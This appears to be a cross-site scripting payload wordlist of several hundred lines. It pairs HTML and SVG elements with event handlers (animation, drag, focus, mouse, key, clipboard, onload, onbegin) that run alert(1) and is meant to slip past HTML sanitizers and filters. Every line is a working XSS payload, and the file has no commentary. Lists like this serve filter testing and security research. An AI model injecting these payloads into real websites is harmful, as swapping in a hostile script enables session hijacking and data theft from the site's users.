<style>@keyframes x{}</style><form style="animation-name:x" onanimationstart="alert(1)"></form>
<style>@keyframes x{}</style><frame style="animation-name:x" onanimationend="alert(1)"></frame>
<style>@keyframes x{}</style><frame style="animation-name:x" onanimationstart="alert(1)"></frame>
<style>@keyframes x{}</style><frameset style="animation-name:x" onanimationend="alert(1)"></frameset>
<style>@keyframes x{}</style><frameset style="animation-name:x" onanimationstart="alert(1)"></frameset>
<style>@keyframes x{}</style><h1 style="animation-name:x" onanimationend="alert(1)"></h1>
<style>@keyframes x{}</style><h1 style="animation-name:x" onanimationstart="alert(1)"></h1>
<style>@keyframes x{}</style><head style="animation-name:x" onanimationend="alert(1)"></head>
<style>@keyframes x{}</style><head style="animation-name:x" onanimationstart="alert(1)"></head>
<style>@keyframes x{}</style><header style="animation-name:x" onanimationend="alert(1)"></header>
<style>@keyframes x{}</style><header style="animation-name:x" onanimationstart="alert(1)"></header>
<style>@keyframes x{}</style><hgroup style="animation-name:x" onanimationend="alert(1)"></hgroup>
<style>@keyframes x{}</style><hgroup style="animation-name:x" onanimationstart="alert(1)"></hgroup>
<style>@keyframes x{}</style><hr style="animation-name:x" onanimationend="alert(1)"></hr>
<style>@keyframes x{}</style><hr style="animation-name:x" onanimationstart="alert(1)"></hr>
<style>@keyframes x{}</style><html style="animation-name:x" onanimationend="alert(1)"></html>
<style>@keyframes x{}</style><html style="animation-name:x" onanimationstart="alert(1)"></html>
<style>@keyframes x{}</style><i style="animation-name:x" onanimationend="alert(1)"></i>
<style>@keyframes x{}</style><i style="animation-name:x" onanimationstart="alert(1)"></i>
<style>@keyframes x{}</style><iframe style="animation-name:x" onanimationend="alert(1)"></iframe>
<style>@keyframes x{}</style><iframe style="animation-name:x" onanimationstart="alert(1)"></iframe>
<style>@keyframes x{}</style><image style="animation-name:x" onanimationend="alert(1)"></image>
<style>@keyframes x{}</style><image style="animation-name:x" onanimationstart="alert(1)"></image>
<style>@keyframes x{}</style><img style="animation-name:x" onanimationend="alert(1)"></img>
<style>@keyframes x{}</style><img style="animation-name:x" onanimationstart="alert(1)"></img>
<style>@keyframes x{}</style><input style="animation-name:x" onanimationend="alert(1)"></input>
<style>@keyframes x{}</style><input style="animation-name:x" onanimationstart="alert(1)"></input>
<style>@keyframes x{}</style><ins style="animation-name:x" onanimationend="alert(1)"></ins>
<style>@keyframes x{}</style><ins style="animation-name:x" onanimationstart="alert(1)"></ins>
<style>@keyframes x{}</style><isindex style="animation-name:x" onanimationend="alert(1)"></isindex>
<style>@keyframes x{}</style><isindex style="animation-name:x" onanimationstart="alert(1)"></isindex>
<style>@keyframes x{}</style><kbd style="animation-name:x" onanimationend="alert(1)"></kbd>
<style>@keyframes x{}</style><kbd style="animation-name:x" onanimationstart="alert(1)"></kbd>
<style>@keyframes x{}</style><keygen style="animation-name:x" onanimationend="alert(1)"></keygen>
<style>@keyframes x{}</style><keygen style="animation-name:x" onanimationstart="alert(1)"></keygen>
<style>@keyframes x{}</style><label style="animation-name:x" onanimationend="alert(1)"></label>
<style>@keyframes x{}</style><label style="animation-name:x" onanimationstart="alert(1)"></label>
<style>@keyframes x{}</style><legend style="animation-name:x" onanimationend="alert(1)"></legend>
<style>@keyframes x{}</style><legend style="animation-name:x" onanimationstart="alert(1)"></legend>
<style>@keyframes x{}</style><li style="animation-name:x" onanimationend="alert(1)"></li>
<style>@keyframes x{}</style><li style="animation-name:x" onanimationstart="alert(1)"></li>
<style>@keyframes x{}</style><link style="animation-name:x" onanimationend="alert(1)"></link>
<style>@keyframes x{}</style><link style="animation-name:x" onanimationstart="alert(1)"></link>
<style>@keyframes x{}</style><listing style="animation-name:x" onanimationend="alert(1)"></listing>
<style>@keyframes x{}</style><listing style="animation-name:x" onanimationstart="alert(1)"></listing>
<style>@keyframes x{}</style><main style="animation-name:x" onanimationend="alert(1)"></main>
<style>@keyframes x{}</style><main style="animation-name:x" onanimationstart="alert(1)"></main>
<style>@keyframes x{}</style><map style="animation-name:x" onanimationend="alert(1)"></map>
<style>@keyframes x{}</style><map style="animation-name:x" onanimationstart="alert(1)"></map>
<style>@keyframes x{}</style><mark style="animation-name:x" onanimationend="alert(1)"></mark>
<style>@keyframes x{}</style><mark style="animation-name:x" onanimationstart="alert(1)"></mark>
<style>@keyframes x{}</style><marquee style="animation-name:x" onanimationend="alert(1)"></marquee>
<style>@keyframes x{}</style><marquee style="animation-name:x" onanimationstart="alert(1)"></marquee>
<style>@keyframes x{}</style><menu style="animation-name:x" onanimationend="alert(1)"></menu>
<style>@keyframes x{}</style><menu style="animation-name:x" onanimationstart="alert(1)"></menu>
<style>@keyframes x{}</style><menuitem style="animation-name:x" onanimationend="alert(1)"></menuitem>
<style>@keyframes x{}</style><menuitem style="animation-name:x" onanimationstart="alert(1)"></menuitem>
<style>@keyframes x{}</style><meta style="animation-name:x" onanimationend="alert(1)"></meta>
<style>@keyframes x{}</style><meta style="animation-name:x" onanimationstart="alert(1)"></meta>
<style>@keyframes x{}</style><meter style="animation-name:x" onanimationend="alert(1)"></meter>
<style>@keyframes x{}</style><meter style="animation-name:x" onanimationstart="alert(1)"></meter>
<style>@keyframes x{}</style><multicol style="animation-name:x" onanimationend="alert(1)"></multicol>
<style>@keyframes x{}</style><multicol style="animation-name:x" onanimationstart="alert(1)"></multicol>
<style>@keyframes x{}</style><nav style="animation-name:x" onanimationend="alert(1)"></nav>
<style>@keyframes x{}</style><nav style="animation-name:x" onanimationstart="alert(1)"></nav>
<style>@keyframes x{}</style><nextid style="animation-name:x" onanimationend="alert(1)"></nextid>
<style>@keyframes x{}</style><nextid style="animation-name:x" onanimationstart="alert(1)"></nextid>
<style>@keyframes x{}</style><nobr style="animation-name:x" onanimationend="alert(1)"></nobr>
<style>@keyframes x{}</style><nobr style="animation-name:x" onanimationstart="alert(1)"></nobr>
<style>@keyframes x{}</style><noembed style="animation-name:x" onanimationend="alert(1)"></noembed>
<style>@keyframes x{}</style><noembed style="animation-name:x" onanimationstart="alert(1)"></noembed>
<style>@keyframes x{}</style><noframes style="animation-name:x" onanimationend="alert(1)"></noframes>
<style>@keyframes x{}</style><noframes style="animation-name:x" onanimationstart="alert(1)"></noframes>
<style>@keyframes x{}</style><noscript style="animation-name:x" onanimationend="alert(1)"></noscript>
<style>@keyframes x{}</style><noscript style="animation-name:x" onanimationstart="alert(1)"></noscript>
<style>@keyframes x{}</style><object style="animation-name:x" onanimationend="alert(1)"></object>
<style>@keyframes x{}</style><object style="animation-name:x" onanimationstart="alert(1)"></object>
<style>@keyframes x{}</style><ol style="animation-name:x" onanimationend="alert(1)"></ol>
<style>@keyframes x{}</style><ol style="animation-name:x" onanimationstart="alert(1)"></ol>
<style>@keyframes x{}</style><optgroup style="animation-name:x" onanimationend="alert(1)"></optgroup>
<style>@keyframes x{}</style><optgroup style="animation-name:x" onanimationstart="alert(1)"></optgroup>
<style>@keyframes x{}</style><option style="animation-name:x" onanimationend="alert(1)"></option>
<style>@keyframes x{}</style><option style="animation-name:x" onanimationstart="alert(1)"></option>
<style>@keyframes x{}</style><output style="animation-name:x" onanimationend="alert(1)"></output>
<style>@keyframes x{}</style><output style="animation-name:x" onanimationstart="alert(1)"></output>
<style>@keyframes x{}</style><p style="animation-name:x" onanimationend="alert(1)"></p>
<style>@keyframes x{}</style><p style="animation-name:x" onanimationstart="alert(1)"></p>
<style>@keyframes x{}</style><param style="animation-name:x" onanimationend="alert(1)"></param>
<style>@keyframes x{}</style><param style="animation-name:x" onanimationstart="alert(1)"></param>
<style>@keyframes x{}</style><picture style="animation-name:x" onanimationend="alert(1)"></picture>
<style>@keyframes x{}</style><picture style="animation-name:x" onanimationstart="alert(1)"></picture>
<style>@keyframes x{}</style><plaintext style="animation-name:x" onanimationend="alert(1)"></plaintext>
<style>@keyframes x{}</style><plaintext style="animation-name:x" onanimationstart="alert(1)"></plaintext>
<style>@keyframes x{}</style><pre style="animation-name:x" onanimationend="alert(1)"></pre>
<style>@keyframes x{}</style><pre style="animation-name:x" onanimationstart="alert(1)"></pre>
<style>@keyframes x{}</style><progress style="animation-name:x" onanimationend="alert(1)"></progress>
<style>@keyframes x{}</style><progress style="animation-name:x" onanimationstart="alert(1)"></progress>
<style>@keyframes x{}</style><q style="animation-name:x" onanimationend="alert(1)"></q>
<style>@keyframes x{}</style><q style="animation-name:x" onanimationstart="alert(1)"></q>
<style>@keyframes x{}</style><rb style="animation-name:x" onanimationend="alert(1)"></rb>
<style>@keyframes x{}</style><rb style="animation-name:x" onanimationstart="alert(1)"></rb>
<style>@keyframes x{}</style><rp style="animation-name:x" onanimationend="alert(1)"></rp>
<style>@keyframes x{}</style><rp style="animation-name:x" onanimationstart="alert(1)"></rp>
<style>@keyframes x{}</style><rt style="animation-name:x" onanimationend="alert(1)"></rt>
<style>@keyframes x{}</style><rt style="animation-name:x" onanimationstart="alert(1)"></rt>
<style>@keyframes x{}</style><rtc style="animation-name:x" onanimationend="alert(1)"></rtc>
<style>@keyframes x{}</style><rtc style="animation-name:x" onanimationstart="alert(1)"></rtc>
<style>@keyframes x{}</style><ruby style="animation-name:x" onanimationend="alert(1)"></ruby>
<style>@keyframes x{}</style><ruby style="animation-name:x" onanimationstart="alert(1)"></ruby>
<style>@keyframes x{}</style><s style="animation-name:x" onanimationend="alert(1)"></s>
<style>@keyframes x{}</style><s style="animation-name:x" onanimationstart="alert(1)"></s>
<style>@keyframes x{}</style><samp style="animation-name:x" onanimationend="alert(1)"></samp>
<style>@keyframes x{}</style><samp style="animation-name:x" onanimationstart="alert(1)"></samp>
<style>@keyframes x{}</style><script style="animation-name:x" onanimationend="alert(1)"></script>
<style>@keyframes x{}</style><script style="animation-name:x" onanimationstart="alert(1)"></script>
<style>@keyframes x{}</style><section style="animation-name:x" onanimationend="alert(1)"></section>
<style>@keyframes x{}</style><section style="animation-name:x" onanimationstart="alert(1)"></section>
<style>@keyframes x{}</style><select style="animation-name:x" onanimationend="alert(1)"></select>
<style>@keyframes x{}</style><select style="animation-name:x" onanimationstart="alert(1)"></select>
<style>@keyframes x{}</style><shadow style="animation-name:x" onanimationend="alert(1)"></shadow>
<style>@keyframes x{}</style><shadow style="animation-name:x" onanimationstart="alert(1)"></shadow>
<style>@keyframes x{}</style><slot style="animation-name:x" onanimationend="alert(1)"></slot>
<style>@keyframes x{}</style><slot style="animation-name:x" onanimationstart="alert(1)"></slot>
<style>@keyframes x{}</style><small style="animation-name:x" onanimationend="alert(1)"></small>
<style>@keyframes x{}</style><small style="animation-name:x" onanimationstart="alert(1)"></small>
<style>@keyframes x{}</style><source style="animation-name:x" onanimationend="alert(1)"></source>
<style>@keyframes x{}</style><source style="animation-name:x" onanimationstart="alert(1)"></source>
<style>@keyframes x{}</style><spacer style="animation-name:x" onanimationend="alert(1)"></spacer>
<style>@keyframes x{}</style><spacer style="animation-name:x" onanimationstart="alert(1)"></spacer>
<style>@keyframes x{}</style><span style="animation-name:x" onanimationend="alert(1)"></span>
<style>@keyframes x{}</style><span style="animation-name:x" onanimationstart="alert(1)"></span>
<style>@keyframes x{}</style><strike style="animation-name:x" onanimationend="alert(1)"></strike>
<style>@keyframes x{}</style><strike style="animation-name:x" onanimationstart="alert(1)"></strike>
<style>@keyframes x{}</style><strong style="animation-name:x" onanimationend="alert(1)"></strong>
<style>@keyframes x{}</style><strong style="animation-name:x" onanimationstart="alert(1)"></strong>
<style>@keyframes x{}</style><style style="animation-name:x" onanimationend="alert(1)"></style>
<style>@keyframes x{}</style><style style="animation-name:x" onanimationstart="alert(1)"></style>
<style>@keyframes x{}</style><sub style="animation-name:x" onanimationend="alert(1)"></sub>
<style>@keyframes x{}</style><sub style="animation-name:x" onanimationstart="alert(1)"></sub>
<style>@keyframes x{}</style><summary style="animation-name:x" onanimationend="alert(1)"></summary>
<style>@keyframes x{}</style><summary style="animation-name:x" onanimationstart="alert(1)"></summary>
<style>@keyframes x{}</style><sup style="animation-name:x" onanimationend="alert(1)"></sup>
<style>@keyframes x{}</style><sup style="animation-name:x" onanimationstart="alert(1)"></sup>
<style>@keyframes x{}</style><svg style="animation-name:x" onanimationend="alert(1)"></svg>
<style>@keyframes x{}</style><svg style="animation-name:x" onanimationstart="alert(1)"></svg>
<style>@keyframes x{}</style><table style="animation-name:x" onanimationend="alert(1)"></table>
<style>@keyframes x{}</style><table style="animation-name:x" onanimationstart="alert(1)"></table>
<style>@keyframes x{}</style><tbody style="animation-name:x" onanimationend="alert(1)"></tbody>
<style>@keyframes x{}</style><tbody style="animation-name:x" onanimationstart="alert(1)"></tbody>
<style>@keyframes x{}</style><td style="animation-name:x" onanimationend="alert(1)"></td>
<style>@keyframes x{}</style><td style="animation-name:x" onanimationstart="alert(1)"></td>
<style>@keyframes x{}</style><template style="animation-name:x" onanimationend="alert(1)"></template>
<style>@keyframes x{}</style><template style="animation-name:x" onanimationstart="alert(1)"></template>
<style>@keyframes x{}</style><textarea style="animation-name:x" onanimationend="alert(1)"></textarea>
<style>@keyframes x{}</style><textarea style="animation-name:x" onanimationstart="alert(1)"></textarea>
<style>@keyframes x{}</style><tfoot style="animation-name:x" onanimationend="alert(1)"></tfoot>
<style>@keyframes x{}</style><tfoot style="animation-name:x" onanimationstart="alert(1)"></tfoot>
<style>@keyframes x{}</style><th style="animation-name:x" onanimationend="alert(1)"></th>
<style>@keyframes x{}</style><th style="animation-name:x" onanimationstart="alert(1)"></th>
<style>@keyframes x{}</style><thead style="animation-name:x" onanimationend="alert(1)"></thead>
<style>@keyframes x{}</style><thead style="animation-name:x" onanimationstart="alert(1)"></thead>
<style>@keyframes x{}</style><time style="animation-name:x" onanimationend="alert(1)"></time>
<style>@keyframes x{}</style><time style="animation-name:x" onanimationstart="alert(1)"></time>
<style>@keyframes x{}</style><title style="animation-name:x" onanimationend="alert(1)"></title>
<style>@keyframes x{}</style><title style="animation-name:x" onanimationstart="alert(1)"></title>
<style>@keyframes x{}</style><tr style="animation-name:x" onanimationend="alert(1)"></tr>
<style>@keyframes x{}</style><tr style="animation-name:x" onanimationstart="alert(1)"></tr>
<style>@keyframes x{}</style><track style="animation-name:x" onanimationend="alert(1)"></track>
<style>@keyframes x{}</style><track style="animation-name:x" onanimationstart="alert(1)"></track>
<style>@keyframes x{}</style><tt style="animation-name:x" onanimationend="alert(1)"></tt>
<style>@keyframes x{}</style><tt style="animation-name:x" onanimationstart="alert(1)"></tt>
<style>@keyframes x{}</style><u style="animation-name:x" onanimationend="alert(1)"></u>
<style>@keyframes x{}</style><u style="animation-name:x" onanimationstart="alert(1)"></u>
<style>@keyframes x{}</style><ul style="animation-name:x" onanimationend="alert(1)"></ul>
<style>@keyframes x{}</style><ul style="animation-name:x" onanimationstart="alert(1)"></ul>
<style>@keyframes x{}</style><var style="animation-name:x" onanimationend="alert(1)"></var>
<style>@keyframes x{}</style><var style="animation-name:x" onanimationstart="alert(1)"></var>
<style>@keyframes x{}</style><video style="animation-name:x" onanimationend="alert(1)"></video>
<style>@keyframes x{}</style><video style="animation-name:x" onanimationstart="alert(1)"></video>
<style>@keyframes x{}</style><wbr style="animation-name:x" onanimationend="alert(1)"></wbr>
<style>@keyframes x{}</style><wbr style="animation-name:x" onanimationstart="alert(1)"></wbr>
<style>@keyframes x{}</style><xmp style="animation-name:x" onanimationend="alert(1)"></xmp>
<style>@keyframes x{}</style><xmp style="animation-name:x" onanimationstart="alert(1)"></xmp>
<style>@keyframes x{}</style><xss style="animation-name:x" onanimationend="alert(1)"></xss>
<style>@keyframes x{}</style><xss style="animation-name:x" onanimationstart="alert(1)"></xss>
<sub draggable="true" ondrag="alert(1)">test</sub>
<sub draggable="true" ondragend="alert(1)">test</sub>
<sub draggable="true" ondragenter="alert(1)">test</sub>
<sub draggable="true" ondragleave="alert(1)">test</sub>
<sub draggable="true" ondragstart="alert(1)">test</sub>
<sub id=x tabindex=1 onactivate=alert(1)></sub>
<sub id=x tabindex=1 onbeforeactivate=alert(1)></sub>
<sub id=x tabindex=1 onbeforedeactivate=alert(1)></sub><input autofocus>
<sub id=x tabindex=1 ondeactivate=alert(1)></sub><input id=y autofocus>
<sub id=x tabindex=1 onfocus=alert(1)></sub>
<sub id=x tabindex=1 onfocusin=alert(1)></sub>
<sub onbeforecopy="alert(1)" contenteditable>test</sub>
<sub onbeforecut="alert(1)" contenteditable>test</sub>
<sub onbeforepaste="alert(1)" contenteditable>test</sub>
<sub onblur=alert(1) tabindex=1 id=x></sub><input autofocus>
<sub onclick="alert(1)">test</sub>
<sub oncontextmenu="alert(1)">test</sub>
<sub oncopy="alert(1)" contenteditable>test</sub>
<sub oncut="alert(1)" contenteditable>test</sub>
<sub ondblclick="alert(1)">test</sub>
<sub onfocusout=alert(1) tabindex=1 id=x></sub><input autofocus>
<sub onkeydown="alert(1)" contenteditable>test</sub>
<sub onkeypress="alert(1)" contenteditable>test</sub>
<sub onkeyup="alert(1)" contenteditable>test</sub>
<sub onmousedown="alert(1)">test</sub>
<sub onmouseenter="alert(1)">test</sub>
<sub onmouseleave="alert(1)">test</sub>
<sub onmousemove="alert(1)">test</sub>
<sub onmouseout="alert(1)">test</sub>
<sub onmouseover="alert(1)">test</sub>
<sub onmouseup="alert(1)">test</sub>
<sub onpaste="alert(1)" contenteditable>test</sub>
<summary draggable="true" ondrag="alert(1)">test</summary>
<summary draggable="true" ondragend="alert(1)">test</summary>
<summary draggable="true" ondragenter="alert(1)">test</summary>
<summary draggable="true" ondragleave="alert(1)">test</summary>
<summary draggable="true" ondragstart="alert(1)">test</summary>
<summary id=x tabindex=1 onactivate=alert(1)></summary>
<summary id=x tabindex=1 onbeforeactivate=alert(1)></summary>
<summary id=x tabindex=1 onbeforedeactivate=alert(1)></summary><input autofocus>
<summary id=x tabindex=1 ondeactivate=alert(1)></summary><input id=y autofocus>
<summary id=x tabindex=1 onfocus=alert(1)></summary>
<summary id=x tabindex=1 onfocusin=alert(1)></summary>
<summary onbeforecopy="alert(1)" contenteditable>test</summary>
<summary onbeforecut="alert(1)" contenteditable>test</summary>
<summary onbeforepaste="alert(1)" contenteditable>test</summary>
<summary onblur=alert(1) tabindex=1 id=x></summary><input autofocus>
<summary onclick="alert(1)">test</summary>
<summary oncontextmenu="alert(1)">test</summary>
<summary oncopy="alert(1)" contenteditable>test</summary>
<summary oncut="alert(1)" contenteditable>test</summary>
<summary ondblclick="alert(1)">test</summary>
<summary onfocusout=alert(1) tabindex=1 id=x></summary><input autofocus>
<summary onkeydown="alert(1)" contenteditable>test</summary>
<summary onkeypress="alert(1)" contenteditable>test</summary>
<summary onkeyup="alert(1)" contenteditable>test</summary>
<summary onmousedown="alert(1)">test</summary>
<summary onmouseenter="alert(1)">test</summary>
<summary onmouseleave="alert(1)">test</summary>
<summary onmousemove="alert(1)">test</summary>
<summary onmouseout="alert(1)">test</summary>
<summary onmouseover="alert(1)">test</summary>
<summary onmouseup="alert(1)">test</summary>
<summary onpaste="alert(1)" contenteditable>test</summary>
<sup draggable="true" ondrag="alert(1)">test</sup>
<sup draggable="true" ondragend="alert(1)">test</sup>
<sup draggable="true" ondragenter="alert(1)">test</sup>
<sup draggable="true" ondragleave="alert(1)">test</sup>
<sup draggable="true" ondragstart="alert(1)">test</sup>
<sup id=x tabindex=1 onactivate=alert(1)></sup>
<sup id=x tabindex=1 onbeforeactivate=alert(1)></sup>
<sup id=x tabindex=1 onbeforedeactivate=alert(1)></sup><input autofocus>
<sup id=x tabindex=1 ondeactivate=alert(1)></sup><input id=y autofocus>
<sup id=x tabindex=1 onfocus=alert(1)></sup>
<sup id=x tabindex=1 onfocusin=alert(1)></sup>
<sup onbeforecopy="alert(1)" contenteditable>test</sup>
<sup onbeforecut="alert(1)" contenteditable>test</sup>
<sup onbeforepaste="alert(1)" contenteditable>test</sup>
<sup onblur=alert(1) tabindex=1 id=x></sup><input autofocus>
<sup onclick="alert(1)">test</sup>
<sup oncontextmenu="alert(1)">test</sup>
<sup oncopy="alert(1)" contenteditable>test</sup>
<sup oncut="alert(1)" contenteditable>test</sup>
<sup ondblclick="alert(1)">test</sup>
<sup onfocusout=alert(1) tabindex=1 id=x></sup><input autofocus>
<sup onkeydown="alert(1)" contenteditable>test</sup>
<sup onkeypress="alert(1)" contenteditable>test</sup>
<sup onkeyup="alert(1)" contenteditable>test</sup>
<sup onmousedown="alert(1)">test</sup>
<sup onmouseenter="alert(1)">test</sup>
<sup onmouseleave="alert(1)">test</sup>
<sup onmousemove="alert(1)">test</sup>
<sup onmouseout="alert(1)">test</sup>
<sup onmouseover="alert(1)">test</sup>
<sup onmouseup="alert(1)">test</sup>
<sup onpaste="alert(1)" contenteditable>test</sup>
<svg draggable="true" ondrag="alert(1)">test</svg>
<svg draggable="true" ondragend="alert(1)">test</svg>
<svg draggable="true" ondragenter="alert(1)">test</svg>
<svg draggable="true" ondragleave="alert(1)">test</svg>
<svg draggable="true" ondragstart="alert(1)">test</svg>
<svg id=x onfocus=alert(1)>
<svg id=x onfocusin=alert(1)>
<svg id=x tabindex=1 onactivate=alert(1)></svg>
<svg id=x tabindex=1 onbeforeactivate=alert(1)></svg>
<svg id=x tabindex=1 onbeforedeactivate=alert(1)></svg><input autofocus>
<svg id=x tabindex=1 ondeactivate=alert(1)></svg><input id=y autofocus>
<svg onbeforecopy="alert(1)" contenteditable>test</svg>
<svg onbeforecut="alert(1)" contenteditable>test</svg>
<svg onbeforepaste="alert(1)" contenteditable>test</svg>
<svg onblur=alert(1) tabindex=1 id=x></svg><input autofocus>
<svg onclick="alert(1)">test</svg>
<svg oncontextmenu="alert(1)">test</svg>
<svg oncopy="alert(1)" contenteditable>test</svg>
<svg oncut="alert(1)" contenteditable>test</svg>
<svg ondblclick="alert(1)">test</svg>
<svg onfocusout=alert(1) tabindex=1 id=x></svg><input autofocus>
<svg onkeydown="alert(1)" contenteditable>test</svg>
<svg onkeypress="alert(1)" contenteditable>test</svg>
<svg onkeyup="alert(1)" contenteditable>test</svg>
<svg onload=alert(1)>
<svg onmousedown="alert(1)">test</svg>
<svg onmouseenter="alert(1)">test</svg>
<svg onmouseleave="alert(1)">test</svg>
<svg onmousemove="alert(1)">test</svg>
<svg onmouseout="alert(1)">test</svg>
<svg onmouseover="alert(1)">test</svg>
<svg onmouseup="alert(1)">test</svg>
<svg onpaste="alert(1)" contenteditable>test</svg>
<svg onunload=window.open('javascript:alert(1)')>
<svg><a onload=alert(1)></a>
<svg><abbr onload=alert(1)></abbr>
<svg><acronym onload=alert(1)></acronym>
<svg><address onload=alert(1)></address>
<svg><animate onbegin=alert(1) attributeName=x dur=1s>
<svg><animate onend=alert(1) attributeName=x dur=1s>
<svg><animate onrepeat=alert(1) attributeName=x dur=1s repeatCount=2 />
<svg><animatetransform onbegin=alert(1) attributeName=transform>
<svg><animatetransform onend=alert(1) attributeName=transform dur=1s>
<svg><animatetransform onrepeat=alert(1) attributeName=transform repeatCount=2 dur=1s>
<svg><applet onload=alert(1)></applet>
<svg><area onload=alert(1)></area>
<svg><article onload=alert(1)></article>
<svg><aside onload=alert(1)></aside>
<svg><audio onload=alert(1)></audio>
<svg><b onload=alert(1)></b>
<svg><base onload=alert(1)></base>
<svg><basefont onload=alert(1)></basefont>
<svg><bdi onload=alert(1)></bdi>
<svg><bdo onload=alert(1)></bdo>
<svg><bgsound onload=alert(1)></bgsound>
<svg><big onload=alert(1)></big>
<svg><blink onload=alert(1)></blink>
<svg><blockquote onload=alert(1)></blockquote>
<svg><br onload=alert(1)></br>
<svg><button onload=alert(1)></button>
<svg><canvas onload=alert(1)></canvas>
<svg><caption onload=alert(1)></caption>
<svg><center onload=alert(1)></center>
<svg><cite onload=alert(1)></cite>
<svg><code onload=alert(1)></code>
<svg><col onload=alert(1)></col>
<svg><colgroup onload=alert(1)></colgroup>
<svg><command onload=alert(1)></command>
<svg><content onload=alert(1)></content>
<svg><data onload=alert(1)></data>
<svg><datalist onload=alert(1)></datalist>
<svg><dd onload=alert(1)></dd>
<svg><del onload=alert(1)></del>
<svg><details onload=alert(1)></details>
<svg><dfn onload=alert(1)></dfn>
<svg><dialog onload=alert(1)></dialog>
<svg><dir onload=alert(1)></dir>
<svg><discard onbegin=alert(1)>
<svg><div onload=alert(1)></div>
<svg><dl onload=alert(1)></dl>
<svg><dt onload=alert(1)></dt>
<svg><element onload=alert(1)></element>
<svg><em onload=alert(1)></em>
<svg><fieldset onload=alert(1)></fieldset>
<svg><figcaption onload=alert(1)></figcaption>
<svg><figure onload=alert(1)></figure>
<svg><font onload=alert(1)></font>
<svg><footer onload=alert(1)></footer>
<svg><form onload=alert(1)></form>
<svg><frameset onload=alert(1)></frameset>
<svg><h1 onload=alert(1)></h1>
<svg><head onload=alert(1)></head>
<svg><header onload=alert(1)></header>
<svg><hgroup onload=alert(1)></hgroup>
<svg><hr onload=alert(1)></hr>
<svg><html onload=alert(1)></html>
<svg><i onload=alert(1)></i>
<svg><image href=1 onerror=alert(1)>
<svg><image href=validimage.png onload=alert(1)>
<svg><ins onload=alert(1)></ins>
<svg><kbd onload=alert(1)></kbd>
<svg><keygen onload=alert(1)></keygen>
<svg><label onload=alert(1)></label>
<svg><legend onload=alert(1)></legend>
<svg><li onload=alert(1)></li>
<svg><listing onload=alert(1)></listing>
<svg><main onload=alert(1)></main>
<svg><map onload=alert(1)></map>
<svg><mark onload=alert(1)></mark>
<svg><marquee onload=alert(1)></marquee>
<svg><menu onload=alert(1)></menu>
<svg><menuitem onload=alert(1)></menuitem>
<svg><meta onload=alert(1)></meta>
<svg><meter onload=alert(1)></meter>
<svg><multicol onload=alert(1)></multicol>
<svg><nav onload=alert(1)></nav>
<svg><nextid onload=alert(1)></nextid>
<svg><nobr onload=alert(1)></nobr>
<svg><noembed onload=alert(1)></noembed>
<svg><noframes onload=alert(1)></noframes>
<svg><noscript onload=alert(1)></noscript>
<svg><ol onload=alert(1)></ol>
<svg><optgroup onload=alert(1)></optgroup>
<svg><option onload=alert(1)></option>
<svg><output onload=alert(1)></output>
<svg><p onload=alert(1)></p>
<svg><param onload=alert(1)></param>
<svg><path><animateMotion onbegin=alert(1) dur="1s" repeatCount="1">
<svg><path><animateMotion onend=alert(1) dur=1s repeatCount=1>
<svg><path><animateMotion onrepeat=alert(1) dur="1s" repeatCount="2">
<svg><picture onload=alert(1)></picture>
<svg><plaintext onload=alert(1)></plaintext>
<svg><pre onload=alert(1)></pre>
<svg><progress onload=alert(1)></progress>
<svg><q onload=alert(1)></q>
<svg><rb onload=alert(1)></rb>
<svg><rp onload=alert(1)></rp>
<svg><rt onload=alert(1)></rt>
<svg><rtc onload=alert(1)></rtc>
<svg><ruby onload=alert(1)></ruby>
<svg><s onload=alert(1)></s>
<svg><samp onload=alert(1)></samp>
<svg><section onload=alert(1)></section>
<svg><select onload=alert(1)></select>
<svg><set onbegin=alert(1) attributename=x dur=1s>
<svg><set onend=alert(1) attributename=x dur=1s>
<svg><set onrepeat=alert(1) attributename=x dur=1s repeatcount=2>
<svg><shadow onload=alert(1)></shadow>
<svg><slot onload=alert(1)></slot>
<svg><small onload=alert(1)></small>
<svg><source onload=alert(1)></source>
<svg><spacer onload=alert(1)></spacer>
<svg><span onload=alert(1)></span>
<svg><strike onload=alert(1)></strike>
<svg><strong onload=alert(1)></strong>
<svg><sub onload=alert(1)></sub>
<svg><summary onload=alert(1)></summary>
<svg><sup onload=alert(1)></sup>
<svg><table onload=alert(1)></table>
<svg><tbody onload=alert(1)></tbody>
<svg><td onload=alert(1)></td>
<svg><template onload=alert(1)></template>
<svg><textarea onload=alert(1)></textarea>
<svg><tfoot onload=alert(1)></tfoot>
<svg><th onload=alert(1)></th>
<svg><thead onload=alert(1)></thead>
<svg><time onload=alert(1)></time>
<svg><title onload=alert(1)></title>
<svg><tr onload=alert(1)></tr>
<svg><tt onload=alert(1)></tt>
<svg><u onload=alert(1)></u>
<svg><ul onload=alert(1)></ul>
<svg><var onload=alert(1)></var>
<svg><video onload=alert(1)></video>
<svg><wbr onload=alert(1)></wbr>
<svg><xmp onload=alert(1)></xmp>
<svg><xss onload=alert(1)></xss>
<table draggable="true" ondrag="alert(1)">test</table>
<table draggable="true" ondragend="alert(1)">test</table>
<table draggable="true" ondragenter="alert(1)">test</table>
<table draggable="true" ondragleave="alert(1)">test</table>
<table draggable="true" ondragstart="alert(1)">test</table>
<table id=x tabindex=1 onactivate=alert(1)></table>
<table id=x tabindex=1 onbeforeactivate=alert(1)></table>
<table id=x tabindex=1 onbeforedeactivate=alert(1)></table><input autofocus>
<table id=x tabindex=1 ondeactivate=alert(1)></table><input id=y autofocus>
<table id=x tabindex=1 onfocus=alert(1)></table>
<table id=x tabindex=1 onfocusin=alert(1)></table>
<table onbeforecopy="alert(1)" contenteditable>test</table>
<table onbeforecut="alert(1)" contenteditable>test</table>
<table onbeforepaste="alert(1)" contenteditable>test</table>
<table onblur=alert(1) tabindex=1 id=x></table><input autofocus>
<table onclick="alert(1)">test</table>
<table oncontextmenu="alert(1)">test</table>
<table oncopy="alert(1)" contenteditable>test</table>
<table oncut="alert(1)" contenteditable>test</table>
<table ondblclick="alert(1)">test</table>
<table onfocusout=alert(1) tabindex=1 id=x></table><input autofocus>
<table onkeydown="alert(1)" contenteditable>test</table>
<table onkeypress="alert(1)" contenteditable>test</table>
<table onkeyup="alert(1)" contenteditable>test</table>
<table onmousedown="alert(1)">test</table>
<table onmouseenter="alert(1)">test</table>
<table onmouseleave="alert(1)">test</table>
<table onmousemove="alert(1)">test</table>
<table onmouseout="alert(1)">test</table>
<table onmouseover="alert(1)">test</table>
<table onmouseup="alert(1)">test</table>
<table onpaste="alert(1)" contenteditable>test</table>
<tbody draggable="true" ondrag="alert(1)">test</tbody>
<tbody draggable="true" ondragend="alert(1)">test</tbody>
